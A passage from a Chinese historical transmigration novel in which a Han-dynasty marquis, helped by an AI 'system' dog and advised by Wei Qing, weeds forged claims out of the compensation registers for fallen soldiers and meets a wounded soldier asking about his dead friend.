一枚简牍便是一位阵亡将士,以一屯即一百人为单位,一枚枚绑作一捆。
最后再以郡(国)县籍贯为准,分拣归类,串连成卷,以便届时依据下发抚恤。
但是,即便是卫青军中,也有利益催生出的阴影。
刚开展这项工作时,刘吉收到的简牍籍册,甚至有两片或数片简牍是一模一样的,造假冒领抚恤都没花点心思的!
进阶一点的,就是随便编了一个姓名、籍贯、军中履历。可编又编不圆,还能捏造出一个子虚乌有的县!
低级的造假刘吉一眼就能识破,都不必动用系统的强大算力。
他们大概也是没想到,堂堂宗室列侯会较真,并且亲自参与分拣。
馈赠将士遗属的名声赚到了,不就罢了?金帛馈赠给谁不是给?何必较真儿呢?
【我的想法还是太过理想和幼稚了。】
这日深夜,刘吉望着一枚枚造假的简牍,枯坐许久。
【大将军卫青的军队,也是一个个活生生的人组成。】
【人群聚集处,就必有私心、利益,那么催生出阴影也就不意外了。】
系统提出可以帮忙:【我现在虽然是机械护卫犬形态,但强大的算力是智能体的基础配置。
我可以帮你扫描全部简牍,并汇总生成电子表格,然后进行识别、比对、筛选、判断等系列运算。】
【最终大概能识别出八成造假简牍。】
大概类似于一个顶阶版的excel程序?
偏科生刘吉不太懂。
但系统算力也有穷时,它只能识别出八成造假简牍。
刘吉并不失望,也没趁机怼它。
【系统,谢谢你。】
毕竟系统又不会读心术,也没有精准无误的大汉户籍数据库可供比对。
没有处在信息数据化时代,系统再是一身本领也不能尽数施展。
第二日,刘吉就寻机抽空,把这事说与了大军统帅卫青。
出身微末的卫青长于浊世之中,见过世间龌龊。
得知后并未似刘吉一样多愁善感,也没失控到勃然大怒。
只是神情严肃地,给出了解决方案,甚至还不忘夸奖他两句。
“君侯能分辨出八成造假冒领的简牍,可谓明察秋毫。”
“然此事不宜当面对质,君侯只管将所有简牍退回,道是其中有许多造假之处,令其自行校检。”
“如此多次,直至君侯觉得其中再无造假方罢。”
卫青深知人性,也能利用人性。
刘吉明白,眼下正值行军征战之时,不宜人前对质、整顿风气,那样极易扰乱军心。
那就与他初心相悖了,他也不必直接找上卫青。
“多谢卫将军指点迷津。”
刘吉如卫青所言,将简牍全部退回,令各营部自行校检。
一次不行就两次,三次,四次……
在此同时,卫青私下叫来手下数名校尉。
“……阵亡将士们跟随吾等,效死殒命。若不能令其遗属受到公平对待,他们九泉之下恐也不能安稳。吾等又于心何忍啊?”
“君侯慷慨,愿馈赠将士遗属金帛,吾等就当如实记录籍册。但防不住有眼界短浅之人……”
“君侯仁厚,又敬佩将士们舍生忘死、杀敌卫国,并不愿戳破其中的造假简牍,令尔等颜面无存,所以只是退回各自改正而已。”
刘吉馈赠的金帛总数确实丰厚无比,但分摊到一个阵亡士卒的份额,对于帐中校尉们来说就很不值一提了。
——除非上下勾结,校尉拿取冒领金帛的大头。
而且在卫青军中,军功赏赐俯拾皆是,赐爵封侯也未尝不能。没有将领会蠢到为了三瓜俩枣,而放弃大好前途。
有了从上而下的压力,双管齐下,一次次退回后,心虚者便悄悄地改了。
最终就连系统没有识别出的那两成造假简牍,也都有所删改。
刘吉不能保证其中没有一枚简牍造假,但他已经尽全力做到最好了。
万事开头难,但开了一个好头后,后续工作进展也就一帆风顺了。
人性有幽微的部分,也有闪光的时刻。
就有兵卒来到刘吉面前,神态胆怯局促,但他鼓足了十二分勇气,开口询问:
“烦问君侯,陈校尉麾下、丁部乙曲甲屯的抚恤籍册之上,可有南阳郡雉县许季木的姓名?”
刘吉看着一条胳膊错位支楞的小兵,终是转头吩咐颜枢去翻找。<
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p>其实系统调出的电子表格里,显示了此人在抚恤籍册上,但是想来对方要见到实证才会放心。
“你叫什么名?”刘吉面色尚算和煦,闲谈询问道。
“石、石、二里!”磕巴地喊出声,也没了回话的礼节。
刘吉被喊得一愣。
刚才那话能顺畅地说出来,他私下恐怕得练习了有百十遍吧。
颜枢还在翻找,刘吉又问:“许季木是何人?”
石二里回禀:“是、仆家中、左邻之子,自幼相识,他家中唯余、孤寡老母!先前,与匈奴二部决战,仆断了一条胳膊,季木英勇战死。”
说起邻居兄弟时,磕巴的石二里言辞又逐渐流利。
颜枢根据郡县分类,找到了记载阵亡兵卒许季木的木牍。
得到刘吉示意后,来到石二里面前展示给他看。
“看看可是此人?许季木,南阳郡雉县西乡人,战亡前从军车骑将军麾下、陈广校尉丁部乙曲甲屯,参战过大军出击匈奴……”
一枚寸宽尺长的简牍,要想记述一位阵亡士卒,须得用字简练。
猜想眼前兵卒多半不识字,颜枢就将这片简牍上的姓名、籍贯和从军履历,稍作丰富后转述了一遍。
“是他!是季木!”石二里激动呼喊道。
以后他若是也回不了乡,有君侯馈赠的金帛发放给季木的阿母,他也能放心了。
刘吉又问:“你可录了抚恤籍册?”
石二里摆摆完好的左手,“季木在册、就好,仆不必,仆这不是、好好活着的吗?”
刘吉从手边拿起一枚空白木牍,顿在了半空。
“……”
石二里挂心的事得到确证,见君侯不再说话,便欢喜地告退:“烦扰、君侯,仆告退。”
“等等。”刘吉出言阻拦,“不如……你退下后,劈几块硬直竹板或木板,忍痛把断臂对准拼接回去,再以几块木板夹住,缠绕草绳布条绑紧固定。”
“最后用绳子把断臂吊在脖子上,平常减少碰撞用力,来日断骨重续,虽未必完好如初,至少乍看不易被察觉残缺。”
等他来日回到家乡,至少能少受一些异样目光。
“多谢君侯,仆记下了!”石二里道谢退下。
君侯是一位仁厚和煦的贵人,见识不凡,教他的治伤手段肯定也差不了!
刘吉视线追随着那道身影,消失在帐门口。
终究把手上的一枚空白木牍放回去,沉默不语。
颜枢把木牍归位回来,开解道:“郎君,人力有穷时,莫要太多思虑,多虑伤身。”
颜枢其实很会察言观色,上回没摸准刘吉的脉,是不知道他芯子的来路。
这会儿就一眼看出,他对重义又断臂的石二里动了恻隐之心,最终却又克制私情,没有跨过记录阵亡将士抚恤籍册贯彻的公平准绳。
——心有余而力不足,阵亡才记录并抚恤,负伤不记。
“那听仲枢的,今天这堆简牍的归类串连,就交给仲枢了。我出去吹吹风、散散心。”
刘吉抖抖广袖,背着两只手,迈着八字步往帐门走去,陶盘亦步亦趋跟上。
“喏。郎君去罢。”
颜枢没有谴责主君甩手不干,把事务推给自己的行为,只是来到属于他的一张案后坐下。
唇带笑意,埋头开始一枚一枚地阅读简牍,再根据郡(国)县籍贯归类,整理完毕再动手给简牍钻孔,最后用麻绳串连成一卷卷的抚恤籍册。
……
随着汇总、审核、归类、成卷的抚恤籍册工作有序地顺利推进,大军北上渡河的战线,也在迅速推进着。
沿途楼烦、白羊二部溃兵,及匈奴散部,甚至在史书留下过一个部族名的蒲泥、符离和梓领的匈奴部族,都如土鸡瓦狗一般,不曾形成过一次有力阻挡。
等刘吉的抚恤籍册装满两车时,压得车轮在草原上烙下深深车辙。
完成清扫战场、收复故土战略目标的车骑将军卫青,也终于完成对高阙等要塞的布防。
最终回到河岸扎营,等待南下追击二部溃军及清扫故土的张次公,率大军北归会师。
“校尉张次公已率军北归河南地一带,一两日间便到。卫青欲在今日便为犒赏及庆功大宴准备起来,君侯以为如何?”
“全听卫将军的。今朝对匈奴的抗击首次逢此大胜,正该犒赏全军!大宴庆功!”